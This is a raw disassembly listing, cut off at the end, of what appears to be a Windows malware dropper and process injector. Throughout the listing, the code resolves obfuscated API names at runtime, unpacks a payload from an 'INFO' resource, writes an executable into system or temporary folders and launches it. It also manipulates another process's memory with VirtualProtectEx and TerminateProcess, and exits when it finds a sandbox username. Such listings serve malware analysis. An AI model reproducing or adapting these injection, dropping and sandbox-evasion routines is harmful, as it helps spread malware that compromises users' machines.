lea eax, [ebp+var_18] push eax lea edi, [ebx+ebx*4] mov eax, [esi+edi*8+10h] push eax mov eax, [esi+edi*8+14h] add eax, [ebp+var_4] push eax mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax mov eax, [ebp+var_54] push eax call [ebp+var_30] test eax, eax jz short loc_40743F lea eax, [ebp+var_1C] push eax mov eax, [esi+edi*8+24h] call sub_4070D4 push eax mov eax, [esi+edi*8+8] push eax mov eax, [esi+edi*8+0Ch] add eax, [ebp+var_10] push eax mov eax, [ebp+var_54] push eax call sub_406F78 ; VirtualProtectEx loc_40743F: ; CODE XREF: sub_4070E0+339j inc ebx dec [ebp+var_44] jnz short loc_4073F4 loc_407445: ; CODE XREF: sub_4070E0+30Cj lea eax, [ebp+var_18] push eax push 4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_C0] add eax, 8 push eax mov eax, [ebp+var_54] push eax call [ebp+var_30] test eax, eax jz short loc_40748A mov eax, [ebp+var_20] mov eax, [eax+28h] add eax, [ebp+var_10] mov [ebp+var_B4], eax lea eax, [ebp+var_164] push eax mov eax, [ebp+var_50] push eax call [ebp+var_34] cmp eax, 1 sbb eax, eax inc eax mov [ebp+var_21], al loc_40748A: ; CODE XREF: sub_4070E0+259j ; sub_4070E0+27Cj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4074BC loc_407497: ; CODE XREF: sub_4070E0+3DAj cmp [ebp+var_21], 0 jnz short loc_4074AA push 0 mov eax, [ebp+var_54] push eax call sub_403680 ; TerminateProcess jmp short loc_4074B1 ; --------------------------------------------------------------------------- loc_4074AA: ; CODE XREF: sub_4070E0+3BBj mov eax, [ebp+var_50] push eax call [ebp+var_38] loc_4074B1: ; CODE XREF: sub_4070E0+3C8j mov bl, [ebp+var_21] retn ; --------------------------------------------------------------------------- loc_4074B5: ; DATA XREF: sub_4070E0+235o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407497 ; --------------------------------------------------------------------------- loc_4074BC: ; DATA XREF: sub_4070E0+3B2o mov eax, [ebp+var_40] push eax call [ebp+var_3C] loc_4074C3: ; CODE XREF: sub_4070E0+228j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4074F5 loc_4074D0: ; CODE XREF: sub_4070E0+413j lea eax, [ebp+var_188] mov edx, 9 call sub_4025EC lea eax, [ebp+var_C] mov edx, 2 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4074EE: ; DATA XREF: sub_4070E0+60o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4074D0 ; --------------------------------------------------------------------------- loc_4074F5: ; CODE XREF: sub_4070E0+40Dj ; DATA XREF: sub_4070E0+3EBo mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4070E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_407500 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 0FFFFFFFFh, 0Eh dword_407518 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+7Eo dd 0Bh dword_407530 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_4070E0+A5o dword_407544 dd 9296A374h, 0A38196A5h, 0A49694A0h, 72A4h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+CAo dd 10h aXceesgctxtaqec db 'x–¥…™£–’•t Ÿ¥–©¥',0 ; DATA XREF: sub_4070E0+EEo align 10h dd 0FFFFFFFFh, 11h aGctxbgafcddCua db 'ƒ–’•£ ”–¤¤~–ž £ª',0 ; DATA XREF: sub_4070E0+112o align 4 dd 0FFFFFFFFh, 0Eh dword_407594 dd 0A5A39A87h, 729D92A6h, 94A09D9Dh, 0A976h, 0FFFFFFFFh ; DATA XREF: sub_4070E0+137o dd 12h aIgEcbgafcddCua db 'ˆ£š¥–£ ”–¤¤~–ž £ª',0 ; DATA XREF: sub_4070E0+15Co align 10h dd 0FFFFFFFFh, 10h aDceesgctxtaqec db '„–¥…™£–’•t Ÿ¥–©¥',0 ; DATA XREF: sub_4070E0+181o align 4 dd 0FFFFFFFFh, 0Ch dword_4075E4 dd 0A6A49683h, 9985969Eh, 959296A3h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075F4 proc near ; CODE XREF: CODE:00407E47p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx push esi push edi xor edx, edx mov [ebp+var_18], edx mov [ebp+var_14], edx mov [ebp+var_10], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4076B6 push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_4076C8 call sub_403678 ; LoadLibraryA mov ebx, eax lea edx, [ebp+var_10] mov eax, offset dword_4076E0 call sub_407038 mov eax, [ebp+var_10] call sub_402A38 push eax push ebx call sub_403650 ; GetProcAddress mov esi, eax lea edx, [ebp+var_14] mov eax, offset aXcewAcreegUjec ; "x–¥wš–r¥¥£š“¦¥–¤r" call sub_407038 mov eax, [ebp+var_14] call sub_402A38 push eax push ebx call esi mov edi, eax lea edx, [ebp+var_18] mov eax, offset dword_407714 call sub_407038 mov eax, [ebp+var_18] call sub_402A38 push eax push ebx call esi mov [ebp+var_C], eax mov eax, [ebp+var_4] call sub_402A38 push eax call edi cmp eax, 0FFFFFFFFh jz short loc_40768E test al, 10h jnz short loc_407692 loc_40768E: ; CODE XREF: sub_4075F4+94j xor eax, eax jmp short loc_407694 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_4075F4+98j mov al, 1 loc_407694: ; CODE XREF: sub_4075F4+9Cj mov [ebp+var_5], al push ebx call [ebp+var_C] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4076BD loc_4076A8: ; CODE XREF: sub_4075F4+C7j lea eax, [ebp+var_18] mov edx, 3 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4076B6: ; DATA XREF: sub_4075F4+1Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4076A8 ; --------------------------------------------------------------------------- loc_4076BD: ; CODE XREF: sub_4075F4+C1j ; DATA XREF: sub_4075F4+AFo mov al, [ebp+var_5] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4075F4 endp ; --------------------------------------------------------------------------- align 4 dword_4076C8 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 0FFFFFFFFh, 0Eh dword_4076E0 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_4075F4+34o dd 12h aXcewAcreegUjec db 'x–¥wš–r¥¥£š“¦¥–¤r',0 ; DATA XREF: sub_4075F4+52o align 4 dd 0FFFFFFFFh, 0Bh dword_407714 dd 9696A377h, 0A3939A7Dh, 0AAA392h ; =============== S U B R O U T I N E ======================================= sub_407720 proc near ; CODE XREF: CODE:00407C8Cp ; CODE:00407E94p var_108 = byte ptr -108h push ebx push esi add esp, 0FFFFFEF4h mov esi, edx mov ebx, eax lea edx, [esp+114h+var_108] mov eax, ebx call sub_401B14 lea edx, [esp+114h+var_108] mov eax, esp mov cl, 0Bh call sub_401948 mov eax, esi mov edx, esp call sub_402808 add esp, 10Ch pop esi pop ebx retn sub_407720 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407758 proc near ; CODE XREF: CODE:00407C4Ep ; CODE:00407CB4p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFC8h push ebx push esi push edi xor ecx, ecx mov [ebp+var_38], ecx mov [ebp+var_34], ecx mov [ebp+var_30], ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx mov [ebp+var_20], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_4078B5 push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_4078C8 call sub_403678 ; LoadLibraryA mov ebx, eax lea edx, [ebp+var_20] mov eax, offset dword_4078E0 call sub_407038 mov eax, [ebp+var_20] call sub_402A38 push eax push ebx call sub_403650 ; GetProcAddress mov esi, eax lea edx, [ebp+var_24] mov eax, offset dword_4078F8 call sub_407038 mov eax, [ebp+var_24] call sub_402A38 push eax push ebx call esi mov [ebp+var_1C], eax lea edx, [ebp+var_28] mov eax, offset dword_40790C call sub_407038 mov eax, [ebp+var_28] call sub_402A38 push eax push ebx call esi mov edi, eax lea edx, [ebp+var_2C] mov eax, offset dword_407924 call sub_407038 mov eax, [ebp+var_2C] call sub_402A38 push eax push ebx call esi mov [ebp+var_C], eax lea edx, [ebp+var_30] mov eax, offset dword_40793C call sub_407038 mov eax, [ebp+var_30] call sub_402A38 push eax push ebx call esi mov [ebp+var_10], eax lea edx, [ebp+var_34] mov eax, offset dword_407954 call sub_407038 mov eax, [ebp+var_34] call sub_402A38 push eax push ebx call esi mov [ebp+var_14], eax lea edx, [ebp+var_38] mov eax, offset dword_40796C call sub_407038 mov eax, [ebp+var_38] call sub_402A38 push eax push ebx call esi mov [ebp+var_18], eax push 0Ah mov eax, [ebp+var_8] push eax mov eax, ds:dword_40A694 push eax call edi mov esi, eax push esi mov eax, ds:dword_40A694 push eax call [ebp+var_C] mov edx, [ebp+var_4] mov [edx], eax push esi mov eax, ds:dword_40A694 push eax call [ebp+var_10] mov esi, eax push esi call [ebp+var_14] mov edi, eax test edi, edi jz short loc_407896 push esi call [ebp+var_18] loc_407896: ; CODE XREF: sub_407758+138j push ebx call [ebp+var_1C] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4078BC loc_4078A7: ; CODE XREF: sub_407758+162j lea eax, [ebp+var_38] mov edx, 7 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4078B5: ; DATA XREF: sub_407758+29o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4078A7 ; --------------------------------------------------------------------------- loc_4078BC: ; CODE XREF: sub_407758+15Cj ; DATA XREF: sub_407758+14Ao mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407758 endp ; --------------------------------------------------------------------------- align 4 dword_4078C8 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 0FFFFFFFFh, 0Eh dword_4078E0 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: sub_407758+43o dd 0Bh dword_4078F8 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Dh ; DATA XREF: sub_407758+61o dword_40790C dd 959F9A77h, 0A0A49683h, 9694A3A6h, 72h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_407758+7Do dword_407924 dd 96AB9A84h, 968397A0h, 0A3A6A0A4h, 9694h, 0FFFFFFFFh ; DATA XREF: sub_407758+98o dd 0Ch dword_40793C dd 9592A07Dh, 0A0A49683h, 9694A3A6h, 0 dd 0FFFFFFFFh, 0Ch dword_407954 dd 9C94A07Dh, 0A0A49683h, 9694A3A6h, 0 dd 0FFFFFFFFh, 0Ch dword_40796C dd 9696A377h, 0A0A49683h, 9694A3A6h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797C proc near ; CODE XREF: CODE:00407D65p ; CODE:00407D95p ... var_109 = byte ptr -109h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEF4h push ebx push esi mov esi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 xor eax, eax push ebp push offset loc_407A04 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_4025C8 lea eax, [ebp+var_109] xor ecx, ecx mov edx, 105h call sub_401964 mov ebx, 105h push ebx lea eax, [ebp+var_109] push eax mov eax, [ebp+var_4] call sub_402A38 push eax call sub_403630 ; GetEnvironmentVariableA mov ebx, eax test ebx, ebx jbe short loc_4079EE mov eax, esi lea edx, [ebp+var_109] mov ecx, 105h call sub_402814 loc_4079EE: ; CODE XREF: sub_40797C+5Ej xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407A0B loc_4079FB: ; CODE XREF: sub_40797C+8Dj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_407A04: ; DATA XREF: sub_40797C+1Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4079FB ; --------------------------------------------------------------------------- loc_407A0B: ; CODE XREF: sub_40797C+87j ; DATA XREF: sub_40797C+7Ao pop esi pop ebx mov esp, ebp pop ebp retn sub_40797C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A14 proc near ; CODE XREF: CODE:00407D77p ; CODE:00407DB4p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_402A28 mov eax, [ebp+var_8] call sub_402A28 mov eax, [ebp+var_C] call sub_402A28 xor eax, eax push ebp push offset loc_407AAF push dword ptr fs:[eax] mov fs:[eax], esp jmp short loc_407A7A ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407A14+73j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_402B78 mov ebx, eax mov eax, [ebp+var_8] call sub_402840 mov ecx, eax lea eax, [ebp+var_4] mov edx, ebx call sub_402AD4 lea edx, [ebp+var_4] mov ecx, ebx mov eax, [ebp+var_C] call sub_402B1C loc_407A7A: ; CODE XREF: sub_407A14+36j mov edx, [ebp+var_4] mov eax, [ebp+var_8] call sub_402B78 test eax, eax jg short loc_407A4C mov eax, [ebp+arg_0] mov edx, [ebp+var_4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407AB6 loc_407AA1: ; CODE XREF: sub_407A14+A0j lea eax, [ebp+var_C] mov edx, 3 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_407AAF: ; DATA XREF: sub_407A14+2Bo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407AA1 ; --------------------------------------------------------------------------- loc_407AB6: ; CODE XREF: sub_407A14+9Aj ; DATA XREF: sub_407A14+88o pop ebx mov esp, ebp pop ebp retn 4 sub_407A14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407AC0 proc near ; CODE XREF: CODE:00407DFDp push ebx add esp, 0FFFFFEF8h mov ebx, eax mov eax, esp xor ecx, ecx mov edx, 105h call sub_401964 push esp push 104h call sub_403620 ; GetCurrentDirectoryA mov eax, ebx mov edx, esp mov ecx, 105h call sub_402814 add esp, 108h pop ebx retn sub_407AC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AF8 proc near ; DATA XREF: CODE:00407B6Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_407B17 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407B1E loc_407B16: ; CODE XREF: sub_407AF8+24j retn ; --------------------------------------------------------------------------- loc_407B17: ; DATA XREF: sub_407AF8+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407B16 ; --------------------------------------------------------------------------- loc_407B1E: ; CODE XREF: sub_407AF8:loc_407B16j ; DATA XREF: sub_407AF8+19o pop ebp retn sub_407AF8 endp ; --------------------------------------------------------------------------- dword_407B20 dd 9 ; BSS:off_40A5B4o dd offset off_407B28 off_407B28 dd offset loc_403598 ; DATA XREF: CODE:00407B24o dd offset sub_403568 dd offset sub_403450 dd offset sub_403408 dd offset sub_4035D0 dd offset sub_4035A0 dd offset sub_4036E8 dd offset sub_4036B8 dd offset sub_403720 dd offset sub_4036F0 dd offset sub_4039D0 dd offset sub_4039A0 dd offset sub_406D18 dd offset sub_406B98 dd offset sub_406F70 dd offset sub_406F40 dd 0 dd offset sub_407AF8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 0Dh loc_407B78: ; CODE XREF: CODE:00407B7Dj push 0 push 0 dec ecx jnz short loc_407B78 push ebx push esi push edi mov eax, offset dword_407B20 call sub_403524 xor eax, eax push ebp push offset loc_407FD2 push dword ptr fs:[eax] mov fs:[eax], esp push offset dword_407FE4 call sub_403678 ; LoadLibraryA mov ds:dword_40AA44, eax push offset dword_407FF4 call sub_403678 ; LoadLibraryA mov ds:dword_40AA48, eax lea edx, [ebp-14h] mov eax, offset dword_408008 call sub_407038 mov eax, [ebp-14h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call sub_403650 ; GetProcAddress mov ebx, eax lea edx, [ebp-18h] mov eax, offset dword_408020 call sub_407038 mov eax, [ebp-18h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call ebx mov ds:dword_40AA38, eax lea edx, [ebp-1Ch] mov eax, offset dword_408034 call sub_407038 mov eax, [ebp-1Ch] call sub_402A38 push eax mov eax, ds:dword_40AA48 push eax call ebx mov ds:dword_40AA3C, eax lea edx, [ebp-20h] mov eax, offset dword_40804C call sub_407038 mov eax, [ebp-20h] call sub_402A38 push eax mov eax, ds:dword_40AA44 push eax call ebx mov ds:dword_40AA40, eax mov edx, offset aInfo ; "INFO" mov eax, offset dword_40A7D4 call sub_407758 mov ebx, eax test ebx, ebx jnz short loc_407C61 push 0 call ds:dword_40AA40 ; ExitProcess loc_407C61: ; CODE XREF: CODE:00407C57j mov edx, offset byte_40A7E0 mov eax, ebx mov ecx, ds:dword_40A7D4 call sub_401340 mov esi, 1 mov eax, offset dword_40A8E4 call sub_4025C8 mov edi, 0Ah loc_407C87: ; CODE XREF: CODE:00407F91j lea edx, [ebp-24h] mov eax, esi call sub_407720 mov ecx, [ebp-24h] mov eax, offset dword_40A8E4 mov edx, offset dword_408068 call sub_40288C mov eax, ds:dword_40A8E4 call sub_402A38 mov edx, eax mov eax, offset dword_40A7D8 call sub_407758 mov ebx, eax test ebx, ebx jz loc_407F87 mov eax, offset dword_40A7DC mov edx, ds:dword_40A7D8 call sub_402BC0 mov eax, offset dword_40A7DC call sub_402A8C mov edx, eax mov eax, ebx mov ecx, ds:dword_40A7D8 call sub_401340 cmp ds:byte_40A8E1, 1 jnz short loc_407D2B lea edx, [ebp-30h] mov eax, ds:dword_40A7DC call sub_407038 mov eax, [ebp-30h] push eax lea eax, [ebp-2Ch] push eax call sub_406DAC mov eax, [ebp-2Ch] push eax lea eax, [ebp-28h] push eax call sub_406E6C mov edx, [ebp-28h] mov eax, offset dword_40A7DC call sub_40261C jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D2B: ; CODE XREF: CODE:00407CF3j lea edx, [ebp-34h] mov eax, ds:dword_40A7DC call sub_407038 mov edx, [ebp-34h] mov eax, offset dword_40A7DC call sub_40261C loc_407D45: ; CODE XREF: CODE:00407D29j mov eax, offset dword_40A8E8 mov edx, offset byte_40A7E1 mov ecx, 100h call sub_402814 lea eax, [ebp-38h] push eax lea edx, [ebp-3Ch] mov eax, offset aSystemroot ; "SystemRoot" call sub_40797C mov ecx, [ebp-3Ch] mov edx, offset dword_408088 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-38h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-40h] push eax lea edx, [ebp-44h] mov eax, offset aSystemroot ; "SystemRoot" call sub_40797C lea eax, [ebp-44h] mov edx, offset dword_40809C call sub_402848 mov ecx, [ebp-44h] mov edx, offset dword_4080B0 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-40h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-48h] push eax lea edx, [ebp-4Ch] mov eax, offset aTemp ; "TEMP" call sub_40797C mov ecx, [ebp-4Ch] mov edx, offset dword_4080D4 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-48h] mov eax, offset dword_40A8E8 call sub_40261C lea eax, [ebp-50h] push eax lea eax, [ebp-54h] call sub_407AC0 mov ecx, [ebp-54h] mov edx, offset dword_4080E4 mov eax, ds:dword_40A8E8 call sub_407A14 mov edx, [ebp-50h] mov eax, offset dword_40A8E8 call sub_40261C cmp ds:byte_40A7E0, 0 jz loc_407F33 mov eax, ds:dword_40A8E8 call sub_402A38 mov ebx, eax mov edx, ebx lea eax, [ebp-58h] call sub_40279C mov eax, [ebp-58h] call sub_4075F4 test al, al jnz short loc_407E76 push 0 push ebx call sub_4035E0 ; CreateDirectoryA test eax, eax jnz short loc_407E76 lea edx, [ebp-5Ch] mov eax, offset aTemp ; "TEMP" call sub_40797C mov edx, [ebp-5Ch] mov eax, offset dword_40A8E8 call sub_40261C loc_407E76: ; CODE XREF: CODE:00407E4Ej ; CODE:00407E5Aj call sub_4014EC push ds:dword_40A8E8 push offset dword_4080F8 imul eax, esi, 1388h call sub_401984 lea edx, [ebp-60h] call sub_407720 push dword ptr [ebp-60h] push offset dword_408104 mov eax, offset dword_40A8E8 mov edx, 4 call sub_402900 mov edx, ds:dword_40A8E8 mov eax, offset dword_40A8EC call sub_401780 mov edx, 1 mov eax, offset dword_40A8EC call sub_401AA8 call sub_4012E4 call sub_401320 test eax, eax jnz loc_407F8F push 0 mov eax, offset dword_40A7DC call sub_402A8C mov edx, eax mov ecx, ds:dword_40A7D8 mov eax, offset dword_40A8EC call sub_4018D0 call sub_4012E4 mov eax, offset dword_40A8EC call sub_4018F0 call sub_4012E4 push 1 push 0 push 0 mov eax, ds:dword_40A8E8 call sub_402A38 push eax push offset aOpen ; "open" push 0 call ds:dword_40AA3C jmp short loc_407F8F ; --------------------------------------------------------------------------- loc_407F33: ; CODE XREF: CODE:00407E28j call sub_406F88 cmp al, 1 jnz short loc_407F43 xor eax, eax call sub_4025B0 ; --------------------------------------------------------------------------- loc_407F43: ; CODE XREF: CODE:00407F3Aj lea eax, [ebp-64h] call sub_406FBC mov eax, [ebp-64h] mov edx, offset aSyntheticuser_ ; "SYNTHETICUSER.FGVS" call sub_402984 jnz short loc_407F61 xor eax, eax call sub_4025B0 ; --------------------------------------------------------------------------- loc_407F61: ; CODE XREF: CODE:00407F58j push 0 lea edx, [ebp-68h] xor eax, eax call sub_40148C mov eax, [ebp-68h] push eax mov eax, offset dword_40A7DC call sub_402A8C xor ecx, ecx pop edx call sub_4070E0 test al, al jmp short loc_407F8F ; --------------------------------------------------------------------------- loc_407F87: ; CODE XREF: CODE:00407CBDj push 0 call ds:dword_40AA40 ; ExitProcess loc_407F8F: ; CODE XREF: CODE:00407EDBj ; CODE:00407F31j ... inc esi dec edi jnz loc_407C87 push 0 call ds:dword_40AA40 ; ExitProcess mov eax, ds:dword_40AA48 push eax call ds:dword_40AA38 ; FreeLibrary mov eax, ds:dword_40AA44 push eax call ds:dword_40AA38 ; FreeLibrary xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407FD9 loc_407FC4: ; CODE XREF: CODE:00407FD7j lea eax, [ebp-68h] mov edx, 16h call sub_4025EC retn ; --------------------------------------------------------------------------- loc_407FD2: ; DATA XREF: CODE:00407B8Fo jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_407FC4 ; --------------------------------------------------------------------------- loc_407FD9: ; CODE XREF: CODE:00407FD1j ; DATA XREF: CODE:00407FBFo pop edi pop esi pop ebx call sub_4024E0 ; --------------------------------------------------------------------------- align 4 dword_407FE4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0dword_407FF4 dd 6C656873h, 2E32336Ch, 6C6C64h, 0FFFFFFFFh, 0Eh ; DATA XREF: CODE:00407BA9o dword_408008 dd 81A59678h, 7294A0A3h, 96A39595h, 0A4A4h, 0FFFFFFFFh ; DATA XREF: CODE:00407BBBo dd 0Bh dword_408020 dd 9696A377h, 0A3939A7Dh, 0AAA392h, 0FFFFFFFFh, 0Dh ; DATA XREF: CODE:00407BDEo dword_408034 dd 9D969984h, 96A9769Dh, 96A5A694h, 72h, 0FFFFFFFFh, 0Bh ; DATA XREF: CODE:00407C01o dword_40804C dd 0A59AA976h, 94A0A381h, 0A4A496haInfo db 'INFO',0 ; DATA XREF: CODE:00407C44o align 10h dd 0FFFFFFFFh, 2 dword_408068 dd 4643h, 0FFFFFFFFh, 0AhaSystemroot db 'SystemRoot',0 ; DATA XREF: CODE:00407D60o ; CODE:00407D90o align 10h dd 0FFFFFFFFh, 8 dword_408088 dd 6E697725h, 25726964h, 0 dd 0FFFFFFFFh, 9 dword_40809C dd 7379535Ch, 336D6574h, 32h, 0FFFFFFFFh, 8dword_4080B0 dd 73797325h, 25726964h, 0 dd 0FFFFFFFFh, 4 aTemp db 'TEMP',0 ; DATA XREF: CODE:00407DCDo ; CODE:00407E5Fo align 4 dd 0FFFFFFFFh, 6 dword_4080D4 dd 6D657425h, 2570h, 0FFFFFFFFh, 9dword_4080E4 dd 72756325h, 746E6572h, 25h, 0FFFFFFFFh, 1dword_4080F8 dd 5Ch, 0FFFFFFFFh, 4dword_408104 dd 6578652Eh, 0 aOpen db 'open',0 ; DATA XREF: CODE:00407F24o align 4 dd 0FFFFFFFFh, 12h aSyntheticuser_ db 'SYNTHETICUSER.FGVS',0 ; DATA XREF: CODE:00407F4Eo align 10h dd 34h dup(?) CODE ends ; Section 2. (virtual address 00009000) ; Virtual size : 00000418 ( 1048.) ; Section size in file : 00000418 ( 1048.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 409000h dword_409000 dd 0 ; sub_4024E0+9o ... dword_409004 dd 0 ; sub_4024E0:loc_40250Fr ... dword_409008 dd 0 ; sub_401984+3r ... byte_40900C db 2 ; DATA XREF: sub_4019C8+4Er db 8Dh, 40h, 0 word_409010 dw 1332h ; DATA XREF: sub_401EE8+3r dw 0C08Bh byte_409014 db 0 ; DATA XREF: sub_4020F0r sub_40210Cr ... db 8Dh, 40h, 0 byte_409018 db 0 ; DATA XREF: sub_4021A4+52r ; sub_4021A4:loc_402231r db 8Dh, 40h, 0 byte_40901C db 1 ; DATA XREF: sub_401780+25r db 8Dh, 40h, 0 off_409020 dd offset dword_409094 ; DATA XREF: sub_402F04r sub_403368r ... dword_409024 dd 0 off_409028 dd offset sub_403378 ; DATA XREF: sub_4024E0+66r off_40902C dd offset nullsub_1 ; DATA XREF: sub_402C70+67r off_409030 dd offset nullsub_1 ; DATA XREF: sub_402C70+71r off_409034 dd offset sub_4023B8 ; DATA XREF: sub_4023B8+Fr ; sub_4023B8+35r ... off_409038 dd offset sub_402384 ; DATA XREF: sub_4024E0:loc_40252Er off_40903C dd offset nullsub_1 ; DATA XREF: sub_4024E0:loc_402561r off_409040 dd offset nullsub_1 ; DATA XREF: sub_403408:loc_403430r dword_409044 dd 0 ; sub_4011C4+4r ... off_409048 dd offset sub_4011B0 ; DATA XREF: sub_401200+4r ; sub_401230+3Fr off_40904C dd offset sub_4011C4 ; DATA XREF: sub_401218+4r ; sub_401230+26r off_409050 dd offset sub_4011E8 ; DATA XREF: sub_401230+Dr byte_409054 db 0 ; DATA XREF: sub_40128C+36r aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã',0 aFxn@ db 'äå@',0 dword_409070 dd 3 align 8 dd 1, 2, 3, 3 dup(0) off_409090 dd offset nullsub_1 ; DATA XREF: sub_4024E0+38r dword_409094 dd 0 ; sub_403524+33o ... dword_409098 dd 400000h dword_40909C dd 0 dword_4090A0 dd 0 dd 400000h, 0 dword_4090AC dd 0 dword_4090B0 dd 0 dword_4090B4 dd 2 ; sub_406350+69r dword_4090B8 dd 5 dword_4090BC dd 1 dword_4090C0 dd 0A28h dword_4090C4 dd 1457B8h ; sub_406B98+149o dword_4090C8 dd 0 ; sub_4060EC+1Br ... dd 7 dup(0) off_4090E8 dd offset dword_4043C8 ; DATA XREF: sub_406B98+70o ; sub_406D18+37o dword_4090EC dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_40685C:loc_40687Dr ... off_4090F0 dd offset dword_404410 ; DATA XREF: sub_406B98+5Bo dd offset dword_404410+0Ch off_4090F8 dd offset off_4037E8 ; DATA XREF: sub_404654+43r ; CODE:00406B8Co off_4090FC dd offset off_4037F0 ; DATA XREF: CODE:00406B80o tbyte_409100 dt 1.0e18 ; DATA XREF: sub_404F3D+63r dw 0C08Bh flt_40910C db 0Ah, 0, 0, 0 ; DATA XREF: sub_404BF4+23r ; sub_404F3D+78r off_409110 dd offset off_403870 ; DATA XREF: sub_4051EC+3Ao ; CODE:00406B74o off_409114 dd offset off_403878 ; DATA XREF: CODE:00406B68o off_409118 dd offset off_403880 ; DATA XREF: CODE:00406B5Co off_40911C dd offset off_403888 ; DATA XREF: CODE:00406B50o off_409120 dd offset off_403890 ; DATA XREF: CODE:00406B44o off_409124 dd offset off_403898 ; DATA XREF: CODE:00406B38o off_409128 dd offset off_4038A0 ; DATA XREF: CODE:00406B2Co off_40912C dd offset off_4038A8 ; 